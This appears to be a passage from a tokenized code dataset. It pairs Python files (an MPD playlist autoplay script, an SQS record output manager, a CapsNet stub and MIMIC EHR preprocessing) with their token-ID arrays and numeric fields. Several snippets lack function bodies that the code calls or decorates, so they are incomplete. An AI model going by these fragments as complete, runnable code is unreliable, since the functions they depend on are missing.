796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
4869,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
4869,
198,
20786,
13,
3672,
796,
366,
13739,
14957,
28925,
4965,
316,
1,
198,
20786,
13,
11213,
796,
366,
13739,
7472,
6682,
1220,
640,
286,
13259,
1343,
1988,
379,
326,
640,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
807,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
1199,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
4761,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
4761,
198,
20786,
13,
3672,
796,
366,
4677,
1580,
14957,
28925,
4965,
316,
1,
198,
20786,
13,
11213,
796,
366,
4677,
1580,
7472,
6682,
1220,
640,
286,
13259,
1343,
1988,
379,
326,
640,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
807,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
53,
10910,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
940,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
940,
198,
20786,
13,
3672,
796,
366,
35479,
27722,
8134,
3447,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
5671,
3815,
422,
262,
8265,
326,
389,
8295,
47193,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
16402,
41358,
1,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
7029,
1157,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
7337,
1157,
198,
20786,
13,
3672,
796,
366,
47445,
1,
198,
20786,
13,
11213,
796,
366,
2514,
766,
287,
543,
2597,
345,
389,
18832,
287,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
7029,
1065,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
7337,
1065,
198,
20786,
13,
3672,
796,
366,
12982,
47790,
1870,
35215,
1,
198,
20786,
13,
11213,
796,
366,
4264,
1299,
352,
17594,
3672,
290,
352,
9206,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
3933,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
7029,
1415,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
7337,
1415,
198,
20786,
13,
3672,
796,
366,
5211,
21352,
4965,
316,
1,
198,
20786,
13,
11213,
796,
366,
21352,
13259,
286,
262,
3335,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198
] | 2.68151 | 16,798 |
if __name__ == '__main__':
main()
| [
628,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
1388,
3419,
198
] | 2.157895 | 19 |
#!/usr/bin/env python
# encoding: utf-8
"""
@author: zhanghe
@software: PyCharm
@file: bearing.py
@time: 2020-02-29 23:23
"""
from flask_sqlalchemy import SQLAlchemy
from app_backend import app
db_bearing = SQLAlchemy(app)
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
21004,
25,
3384,
69,
12,
23,
198,
198,
37811,
198,
31,
9800,
25,
1976,
33255,
258,
198,
31,
43776,
25,
9485,
1925,
1670,
198,
31,
7753,
25,
14121,
13,
9078,
198,
31,
2435,
25,
12131,
12,
2999,
12,
1959,
2242,
25,
1954,
198,
37811,
628,
198,
6738,
42903,
62,
25410,
282,
26599,
1330,
16363,
2348,
26599,
198,
198,
6738,
598,
62,
1891,
437,
1330,
598,
198,
198,
9945,
62,
28655,
796,
16363,
2348,
26599,
7,
1324,
8,
198
] | 2.590909 | 88 |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
'''
Keeps your MPD playlist filled with music you like
Dependencies : python-mpd
pysqlite
'''
import os
import mpd
import random
import sqlite3
import time
import io
import sys
import socket
## Config
playtime = 70 # Percentage of a song that must be played before
# play count is incremented
mintime = 25 # Minimum length of a track for it
# to be considered a song (in seconds)
flood_delay = 12*60 # Minutes to wait before adding the same song again
tries = 10 # Retry connecting this many times
## /Config
version = "2.0 DEV"
helpstring = """Syntax : """ + sys.argv[0] + """ [command]
command can be one of :
radio [on|off|toggle]
trigger [number]
info [path]
start
stop (synonym: kill)
loglevel [debug|notice|warning|error]
help
version"""
enc = sys.getfilesystemencoding()
#enc = "UTF-8"
def log(msg, stdout=False):
"""Logs to file, and optionally to stdout. Obvious enough"""
alllevels = "DINWE" # Debug, Info, Notice, Warning, Error
loglevels = alllevels[alllevels.find(logLevel):]
if stdout:
print msg[2:]
if msg[0] in loglevels:
logio.write(unicode(msg, enc)+"\n")
def addsong():
"""Adds a semi-random song to the playlist"""
rand = random.uniform(-0.5, 2)
cursor.execute("SELECT file, listened, added FROM songs "
"WHERE karma>? AND time < ? "
"AND NOT duplicate ORDER BY random() LIMIT 1;",
(rand, int(time.time()-(60*(flood_delay-trigger*3)))))
songdata = cursor.fetchone()
if not songdata:
updateone()
addsong()
else:
newkarma = karma(songdata[1], songdata[2]+1)
cursor.execute(
"UPDATE songs SET added=?, karma=?, time=? WHERE file=?",
(songdata[2]+1, newkarma, int(time.time()), songdata[0],)
)
cursor.execute(
"SELECT inode, dev FROM songs WHERE file=?;",
(songdata[0],)
)
one = cursor.fetchone()
if one and one[0]:
cursor.execute(
"""UPDATE SONGS SET added=?, karma=?, time=? WHERE inode=?
AND dev=?""", (songdata[2]+1, newkarma, int(time.time()),
one[0], one[1])
)
db.commit()
try:
client.add(songdata[0].encode(enc))
log("I Added " + songdata[0].encode(enc))
log("D A:" + str(songdata[2]+1) + ", K:" +
str(newkarma))
except mpd.CommandError:
log("W Couldn't add " + songdata[0].encode(enc))
update(songdata[0])
addsong()
allsongs = []
logLevel = "D"
datahome = (os.getenv("XDG_DATA_HOME") or os.getenv("HOME") +
"/.local/share") + "/autoplay"
if not os.access(datahome, os.W_OK):
try:
os.makedirs(datahome)
except os.error:
log("E Couldn't access nor create" + datahome + ", quitting", True)
exit(2)
password = None
host = os.getenv("MPD_HOST", "127.0.0.1")
atloc = host.find("@")
if(atloc != -1):
password = host[:atloc]
host = host[atloc+1:]
port = os.getenv("MPD_PORT", "6600")
musicdir = os.getenv("MPD_MUSIC_DIR") or os.getenv("mpd_music_dir")
logio = io.open(datahome + "/log", "at", buffering=1, encoding=enc)
if __name__ == "__main__":
silent = False
s = getServSock()
try:
if len(sys.argv) <= 1 or sys.argv[1] != "start":
s.sendall(" ".join(sys.argv[1:]) + "\n")
data = s.recv(1024)
while data != "":
print data,
data = s.recv(1024)
except KeyboardInterrupt:
pass
s.shutdown(socket.SHUT_RDWR)
s.close()
# vim: tw=70 ts=2 sw=2
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
17,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
7061,
6,
198,
15597,
82,
534,
4904,
35,
33178,
5901,
351,
2647,
345,
588,
198,
198,
35,
2690,
3976,
1058,
21015,
12,
3149,
67,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
279,
893,
13976,
578,
198,
7061,
6,
198,
198,
11748,
28686,
198,
11748,
29034,
67,
198,
11748,
4738,
198,
11748,
44161,
578,
18,
198,
11748,
640,
198,
11748,
33245,
198,
11748,
25064,
198,
11748,
17802,
198,
198,
2235,
17056,
198,
1759,
2435,
796,
4317,
1303,
36013,
286,
257,
3496,
326,
1276,
307,
2826,
878,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
711,
954,
318,
1253,
12061,
198,
34289,
524,
796,
1679,
1303,
26265,
4129,
286,
257,
2610,
329,
340,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
220,
284,
307,
3177,
257,
3496,
357,
259,
4201,
8,
198,
2704,
702,
62,
40850,
796,
1105,
9,
1899,
1303,
23757,
284,
4043,
878,
4375,
262,
976,
3496,
757,
198,
83,
1678,
796,
838,
1303,
4990,
563,
14320,
428,
867,
1661,
198,
2235,
1220,
16934,
198,
198,
9641,
796,
366,
17,
13,
15,
5550,
53,
1,
198,
16794,
8841,
796,
37227,
13940,
41641,
1058,
37227,
1343,
25064,
13,
853,
85,
58,
15,
60,
1343,
37227,
685,
21812,
60,
198,
21812,
460,
307,
530,
286,
1058,
198,
220,
5243,
685,
261,
91,
2364,
91,
44256,
60,
198,
220,
7616,
685,
17618,
60,
198,
220,
7508,
685,
6978,
60,
628,
220,
923,
198,
220,
2245,
357,
28869,
5177,
25,
1494,
8,
198,
220,
300,
2467,
626,
685,
24442,
91,
42138,
91,
43917,
91,
18224,
60,
198,
220,
1037,
198,
220,
2196,
37811,
198,
198,
12685,
796,
25064,
13,
1136,
16624,
6781,
12685,
7656,
3419,
198,
2,
12685,
796,
366,
48504,
12,
23,
1,
198,
198,
4299,
2604,
7,
19662,
11,
14367,
448,
28,
25101,
2599,
198,
220,
37227,
11187,
82,
284,
2393,
11,
290,
42976,
284,
14367,
448,
13,
1835,
1442,
1576,
37811,
198,
220,
477,
46170,
796,
366,
35,
1268,
8845,
1,
1303,
31687,
11,
14151,
11,
17641,
11,
15932,
11,
13047,
198,
220,
300,
2467,
626,
82,
796,
477,
46170,
58,
439,
46170,
13,
19796,
7,
6404,
4971,
2599,
60,
198,
220,
611,
14367,
448,
25,
198,
220,
220,
220,
3601,
31456,
58,
17,
47715,
198,
220,
611,
31456,
58,
15,
60,
287,
300,
2467,
626,
82,
25,
198,
220,
220,
220,
2604,
952,
13,
13564,
7,
46903,
1098,
7,
19662,
11,
2207,
47762,
1,
59,
77,
4943,
628,
198,
4299,
6673,
506,
33529,
198,
220,
37227,
46245,
257,
10663,
12,
25120,
3496,
284,
262,
33178,
37811,
198,
220,
43720,
796,
4738,
13,
403,
6933,
32590,
15,
13,
20,
11,
362,
8,
198,
220,
23493,
13,
41049,
7203,
46506,
2393,
11,
16399,
11,
2087,
16034,
7259,
366,
198,
220,
220,
220,
220,
220,
366,
47357,
31789,
29,
30,
5357,
640,
1279,
5633,
366,
198,
220,
220,
220,
220,
220,
366,
6981,
5626,
23418,
38678,
11050,
4738,
3419,
27564,
2043,
352,
26,
1600,
198,
220,
220,
220,
220,
220,
357,
25192,
11,
493,
7,
2435,
13,
2435,
3419,
30420,
1899,
9,
7,
2704,
702,
62,
40850,
12,
46284,
9,
18,
4008,
22305,
198,
220,
3496,
7890,
796,
23493,
13,
69,
7569,
505,
3419,
198,
220,
611,
407,
3496,
7890,
25,
198,
220,
220,
220,
4296,
505,
3419,
198,
220,
220,
220,
6673,
506,
3419,
198,
220,
2073,
25,
198,
220,
220,
220,
649,
74,
10961,
796,
31789,
7,
34050,
7890,
58,
16,
4357,
3496,
7890,
58,
17,
48688,
16,
8,
198,
220,
220,
220,
23493,
13,
41049,
7,
198,
220,
220,
220,
220,
220,
220,
220,
366,
16977,
7259,
25823,
2087,
28,
21747,
31789,
28,
21747,
640,
28,
30,
33411,
2393,
28,
35379,
198,
220,
220,
220,
220,
220,
220,
220,
357,
34050,
7890,
58,
17,
48688,
16,
11,
649,
74,
10961,
11,
493,
7,
2435,
13,
2435,
3419,
828,
3496,
7890,
58,
15,
4357,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
23493,
13,
41049,
7,
198,
220,
220,
220,
220,
220,
220,
220,
366,
46506,
287,
1098,
11,
1614,
16034,
7259,
33411,
2393,
28,
30,
26,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
357,
34050,
7890,
58,
15,
4357,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
530,
796,
23493,
13,
69,
7569,
505,
3419,
198,
220,
220,
220,
611,
530,
290,
530,
58,
15,
5974,
198,
220,
220,
220,
220,
220,
23493,
13,
41049,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
37227,
16977,
311,
1340,
14313,
25823,
2087,
28,
21747,
31789,
28,
21747,
640,
28,
30,
33411,
287,
1098,
28,
30,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5357,
1614,
28,
1701,
1,
1600,
357,
34050,
7890,
58,
17,
48688,
16,
11,
649,
74,
10961,
11,
493,
7,
2435,
13,
2435,
3419,
828,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
530,
58,
15,
4357,
530,
58,
16,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
20613,
13,
41509,
3419,
198,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
5456,
13,
2860,
7,
34050,
7890,
58,
15,
4083,
268,
8189,
7,
12685,
4008,
198,
220,
220,
220,
220,
220,
2604,
7203,
40,
10687,
366,
1343,
3496,
7890,
58,
15,
4083,
268,
8189,
7,
12685,
4008,
198,
220,
220,
220,
220,
220,
2604,
7203,
35,
317,
11097,
1343,
965,
7,
34050,
7890,
58,
17,
48688,
16,
8,
1343,
33172,
509,
11097,
1343,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
965,
7,
3605,
74,
10961,
4008,
198,
220,
220,
220,
2845,
29034,
67,
13,
21575,
12331,
25,
198,
220,
220,
220,
220,
220,
2604,
7203,
54,
10347,
77,
470,
751,
366,
1343,
3496,
7890,
58,
15,
4083,
268,
8189,
7,
12685,
4008,
198,
220,
220,
220,
220,
220,
4296,
7,
34050,
7890,
58,
15,
12962,
198,
220,
220,
220,
220,
220,
6673,
506,
3419,
198,
198,
5691,
28079,
796,
17635,
628,
628,
198,
6404,
4971,
796,
366,
35,
1,
198,
198,
19608,
993,
462,
796,
357,
418,
13,
1136,
24330,
7203,
55,
35,
38,
62,
26947,
62,
39069,
4943,
393,
28686,
13,
1136,
24330,
7203,
39069,
4943,
1343,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
11757,
12001,
14,
20077,
4943,
1343,
12813,
2306,
404,
10724,
1,
198,
361,
407,
28686,
13,
15526,
7,
19608,
993,
462,
11,
28686,
13,
54,
62,
11380,
2599,
198,
220,
1949,
25,
198,
220,
220,
220,
28686,
13,
76,
4335,
17062,
7,
19608,
993,
462,
8,
198,
220,
2845,
28686,
13,
18224,
25,
198,
220,
220,
220,
2604,
7203,
36,
10347,
77,
470,
1895,
4249,
2251,
1,
1343,
4818,
993,
462,
1343,
33172,
34161,
1600,
6407,
8,
198,
220,
220,
220,
8420,
7,
17,
8,
198,
198,
28712,
796,
6045,
198,
198,
4774,
796,
28686,
13,
1136,
24330,
7203,
44,
5760,
62,
39,
10892,
1600,
366,
16799,
13,
15,
13,
15,
13,
16,
4943,
198,
265,
17946,
796,
2583,
13,
19796,
7203,
31,
4943,
198,
361,
7,
265,
17946,
14512,
532,
16,
2599,
198,
220,
9206,
796,
2583,
58,
25,
265,
17946,
60,
198,
220,
2583,
796,
2583,
58,
265,
17946,
10,
16,
47715,
198,
198,
634,
796,
28686,
13,
1136,
24330,
7203,
44,
5760,
62,
15490,
1600,
366,
2791,
405,
4943,
198,
28965,
15908,
796,
28686,
13,
1136,
24330,
7203,
44,
5760,
62,
44,
2937,
2149,
62,
34720,
4943,
393,
28686,
13,
1136,
24330,
7203,
3149,
67,
62,
28965,
62,
15908,
4943,
628,
198,
6404,
952,
796,
33245,
13,
9654,
7,
19608,
993,
462,
1343,
12813,
6404,
1600,
366,
265,
1600,
6940,
1586,
28,
16,
11,
21004,
28,
12685,
8,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
10574,
796,
10352,
198,
220,
264,
796,
651,
11838,
50,
735,
3419,
198,
220,
1949,
25,
198,
220,
220,
220,
611,
18896,
7,
17597,
13,
853,
85,
8,
19841,
352,
393,
25064,
13,
853,
85,
58,
16,
60,
14512,
366,
9688,
1298,
198,
220,
220,
220,
220,
220,
264,
13,
21280,
439,
7203,
27071,
22179,
7,
17597,
13,
853,
85,
58,
16,
25,
12962,
1343,
37082,
77,
4943,
628,
220,
220,
220,
220,
220,
1366,
796,
264,
13,
8344,
85,
7,
35500,
8,
198,
220,
220,
220,
220,
220,
981,
1366,
14512,
366,
1298,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
1366,
11,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
796,
264,
13,
8344,
85,
7,
35500,
8,
628,
220,
2845,
31973,
9492,
3622,
25,
198,
220,
220,
220,
1208,
628,
220,
264,
13,
49625,
2902,
7,
44971,
13,
9693,
3843,
62,
35257,
18564,
8,
198,
220,
264,
13,
19836,
3419,
198,
198,
2,
43907,
25,
665,
28,
2154,
40379,
28,
17,
1509,
28,
17,
198
] | 2.334444 | 1,501 |
import json
import logging
from collections import Counter
from typing import Union
import boto3
from .... import settings
from . import OutputCtxManagerBase
logger = logging.getLogger("cliexecutor")
SQS = boto3.client("sqs", endpoint_url=settings.SQS_ENDPOINT, region_name="ap-northeast-1")
class SQSRecordOutputCtxManager(OutputCtxManagerBase):
"""Predictor.predict() resutls will use `put_records()` to output to the envar defined SQS Queue"""
@classmethod
def required_kwargs(cls) -> tuple:
"""
Define the required fields for Class instantiation.
Fields defined here can be used as environment variables by prefixing the value with 'OUTPUT_CTXMGR_' and putting values in uppercase.
Ex:
OUTPUT_CTXMGR_SQS_QUEUE_URL
"""
required = ("sqs_queue_url",)
return required
def put_records(self, records: Union[dict, list]):
"""
Call to send result defined in JSON parsable `message_body` to SQS.
.. note::
given `message_body` will be converted to JSON and sent to the defined SQS Queue.
"""
summary = Counter()
max_sqs_message_body_bytes = 2048
for record in records:
message_body_json = json.dumps(record)
message_body_utf8_bytes = len(message_body_json.encode("utf8"))
logger.info(f"Message Bytes={message_body_utf8_bytes}")
if message_body_utf8_bytes > max_sqs_message_body_bytes:
logger.error(f"message_body_utf8_bytes({message_body_utf8_bytes}) > max_sqs_message_body_bytes({max_sqs_message_body_bytes})")
logger.debug(f"Queuing({self.sqs_queue_url}): {record}")
response = SQS.send_message(QueueUrl=self.sqs_queue_url, MessageBody=message_body_json)
logger.debug(f"response: {response}")
summary["sent_messages"] += 1
return summary
| [
11748,
33918,
198,
11748,
18931,
198,
6738,
17268,
1330,
15034,
198,
6738,
19720,
1330,
4479,
198,
198,
11748,
275,
2069,
18,
198,
198,
6738,
19424,
1330,
6460,
198,
6738,
764,
1330,
25235,
34,
17602,
13511,
14881,
198,
198,
6404,
1362,
796,
18931,
13,
1136,
11187,
1362,
7203,
565,
494,
87,
721,
38409,
4943,
198,
50,
48,
50,
796,
275,
2069,
18,
13,
16366,
7203,
31166,
82,
1600,
36123,
62,
6371,
28,
33692,
13,
50,
48,
50,
62,
1677,
6322,
46,
12394,
11,
3814,
62,
3672,
2625,
499,
12,
77,
419,
9522,
12,
16,
4943,
628,
198,
4871,
49747,
50,
23739,
26410,
34,
17602,
13511,
7,
26410,
34,
17602,
13511,
14881,
2599,
198,
220,
220,
220,
37227,
47,
17407,
273,
13,
79,
17407,
3419,
581,
315,
7278,
481,
779,
4600,
1996,
62,
8344,
3669,
3419,
63,
284,
5072,
284,
262,
551,
7785,
5447,
49747,
50,
4670,
518,
37811,
628,
220,
220,
220,
2488,
4871,
24396,
198,
220,
220,
220,
825,
2672,
62,
46265,
22046,
7,
565,
82,
8,
4613,
46545,
25,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2896,
500,
262,
2672,
7032,
329,
5016,
9113,
3920,
13,
198,
220,
220,
220,
220,
220,
220,
220,
23948,
5447,
994,
460,
307,
973,
355,
2858,
9633,
416,
21231,
278,
262,
1988,
351,
705,
2606,
7250,
3843,
62,
4177,
37643,
10761,
62,
6,
290,
5137,
3815,
287,
334,
39921,
589,
13,
628,
220,
220,
220,
220,
220,
220,
220,
1475,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
16289,
30076,
62,
4177,
37643,
10761,
62,
50,
48,
50,
62,
48,
8924,
8924,
62,
21886,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
2672,
796,
5855,
31166,
82,
62,
36560,
62,
6371,
1600,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2672,
628,
220,
220,
220,
825,
1234,
62,
8344,
3669,
7,
944,
11,
4406,
25,
4479,
58,
11600,
11,
1351,
60,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
4889,
284,
3758,
1255,
5447,
287,
19449,
13544,
540,
4600,
20500,
62,
2618,
63,
284,
49747,
50,
13,
628,
220,
220,
220,
220,
220,
220,
220,
11485,
3465,
3712,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1813,
4600,
20500,
62,
2618,
63,
481,
307,
11513,
284,
19449,
290,
1908,
284,
262,
5447,
49747,
50,
4670,
518,
13,
628,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
10638,
796,
15034,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
3509,
62,
31166,
82,
62,
20500,
62,
2618,
62,
33661,
796,
36117,
198,
220,
220,
220,
220,
220,
220,
220,
329,
1700,
287,
4406,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3275,
62,
2618,
62,
17752,
796,
33918,
13,
67,
8142,
7,
22105,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3275,
62,
2618,
62,
40477,
23,
62,
33661,
796,
18896,
7,
20500,
62,
2618,
62,
17752,
13,
268,
8189,
7203,
40477,
23,
48774,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
49706,
13,
10951,
7,
69,
1,
12837,
2750,
4879,
34758,
20500,
62,
2618,
62,
40477,
23,
62,
33661,
92,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
3275,
62,
2618,
62,
40477,
23,
62,
33661,
1875,
3509,
62,
31166,
82,
62,
20500,
62,
2618,
62,
33661,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
49706,
13,
18224,
7,
69,
1,
20500,
62,
2618,
62,
40477,
23,
62,
33661,
15090,
20500,
62,
2618,
62,
40477,
23,
62,
33661,
30072,
1875,
3509,
62,
31166,
82,
62,
20500,
62,
2618,
62,
33661,
15090,
9806,
62,
31166,
82,
62,
20500,
62,
2618,
62,
33661,
30072,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
49706,
13,
24442,
7,
69,
1,
15681,
4250,
15090,
944,
13,
31166,
82,
62,
36560,
62,
6371,
92,
2599,
1391,
22105,
92,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2882,
796,
49747,
50,
13,
21280,
62,
20500,
7,
34991,
28165,
28,
944,
13,
31166,
82,
62,
36560,
62,
6371,
11,
16000,
25842,
28,
20500,
62,
2618,
62,
17752,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
49706,
13,
24442,
7,
69,
1,
26209,
25,
1391,
26209,
92,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10638,
14692,
34086,
62,
37348,
1095,
8973,
15853,
352,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
10638,
198
] | 2.427848 | 790 |
import torch
import torch.nn as nn
import torch.nn.functional as F
from .layers import ConvLayer, Decoder, DigitCaps, PrimaryCaps
__all__ = [
'CapsNet',
]
class CapsNet(nn.Module):
'''Capsule Network'''
@staticmethod
@staticmethod
@staticmethod
| [
11748,
28034,
198,
11748,
28034,
13,
20471,
355,
299,
77,
198,
11748,
28034,
13,
20471,
13,
45124,
355,
376,
198,
198,
6738,
764,
75,
6962,
1330,
34872,
49925,
11,
34580,
11,
7367,
270,
34,
1686,
11,
21087,
34,
1686,
198,
198,
834,
439,
834,
796,
685,
198,
220,
220,
220,
705,
34,
1686,
7934,
3256,
198,
60,
628,
198,
4871,
23534,
7934,
7,
20471,
13,
26796,
2599,
198,
220,
220,
220,
705,
7061,
34,
1686,
2261,
7311,
7061,
6,
198,
220,
220,
220,
220,
198,
220,
220,
220,
2488,
12708,
24396,
628,
220,
220,
220,
2488,
12708,
24396,
198,
220,
220,
220,
220,
198,
220,
220,
220,
2488,
12708,
24396,
198
] | 2.522523 | 111 |
import csv
import dill
import itertools
import math
import pandas as pd
import numpy as np
from itertools import combinations
from sklearn.model_selection import train_test_split
from tqdm import tqdm
med_file = 'data/PRESCRIPTIONS.csv'
diag_file = 'data/DIAGNOSES_ICD.csv'
procedure_file = 'data/PROCEDURES_ICD.csv'
ndc2atc_file = 'data/ndc2atc_level4.csv'
cid_atc = 'data/drug-atc.csv'
ndc2rxnorm_file = 'data/ndc2rxnorm_mapping.txt'
drug_ddi_file = 'data/drug-DDI.csv'
drug_stitch2atc_file = 'data/drug_stitch2atc.csv'
DDI_MATRIX_FILE = 'data/ddi_matrix_tail_top100.pkl'
EHR_MATRIX_FILE = 'data/ehr_matrix_1.0.pkl'
PATIENT_RECORDS_FILE = 'data/patient_records.pkl'
PATIENT_RECORDS_FINAL_FILE = 'data/patient_records_final.pkl'
PATIENT_RECORDS_FILE_ACCUMULATE = 'data/patient_records_accumulate_tail_top100.pkl'
PATIENT_RECORDS_FILE_SEPARATE = 'data/patient_records_separate_tail_top100.pkl'
CONCEPTID_FILE = 'data/concepts2id_mapping.pkl'
# DIAGNOSES_INDEX = 0
# PROCEDURES_INDEX = 1
# MEDICATIONS_INDEX = 2
VOC_FILE = 'data/voc.pkl'
GRAPH_FILE = 'data/graph.pkl'
# ===================处理原始EHR数据,选取对应记录================
# we borrow part of the codes from https://github.com/sjy1203/GAMENet
# ======================
# given a sequence of medical concepts, obtain their ids and store the mapping
if __name__ == '__main__':
process_ehr()
map_concepts2id()
build_ddi_matrix()
build_patient_records()
data_sampling()
build_co_occurrence_matrix()
| [
11748,
269,
21370,
198,
11748,
288,
359,
198,
11748,
340,
861,
10141,
198,
11748,
10688,
198,
198,
11748,
19798,
292,
355,
279,
67,
198,
11748,
299,
32152,
355,
45941,
198,
198,
6738,
340,
861,
10141,
1330,
17790,
198,
6738,
1341,
35720,
13,
19849,
62,
49283,
1330,
4512,
62,
9288,
62,
35312,
198,
6738,
256,
80,
36020,
1330,
256,
80,
36020,
198,
198,
1150,
62,
7753,
796,
705,
7890,
14,
48296,
36584,
51,
11053,
13,
40664,
6,
198,
10989,
363,
62,
7753,
796,
705,
7890,
14,
35,
3539,
16630,
2640,
1546,
62,
2149,
35,
13,
40664,
6,
198,
1676,
771,
495,
62,
7753,
796,
705,
7890,
14,
4805,
4503,
1961,
29514,
62,
2149,
35,
13,
40664,
6,
198,
198,
358,
66,
17,
265,
66,
62,
7753,
796,
705,
7890,
14,
358,
66,
17,
265,
66,
62,
5715,
19,
13,
40664,
6,
198,
66,
312,
62,
265,
66,
796,
705,
7890,
14,
30349,
12,
265,
66,
13,
40664,
6,
198,
358,
66,
17,
40914,
27237,
62,
7753,
796,
705,
7890,
14,
358,
66,
17,
40914,
27237,
62,
76,
5912,
13,
14116,
6,
198,
30349,
62,
1860,
72,
62,
7753,
796,
705,
7890,
14,
30349,
12,
16458,
40,
13,
40664,
6,
198,
30349,
62,
301,
2007,
17,
265,
66,
62,
7753,
796,
705,
7890,
14,
30349,
62,
301,
2007,
17,
265,
66,
13,
40664,
6,
198,
16458,
40,
62,
41636,
7112,
55,
62,
25664,
796,
705,
7890,
14,
1860,
72,
62,
6759,
8609,
62,
13199,
62,
4852,
3064,
13,
79,
41582,
6,
198,
36,
17184,
62,
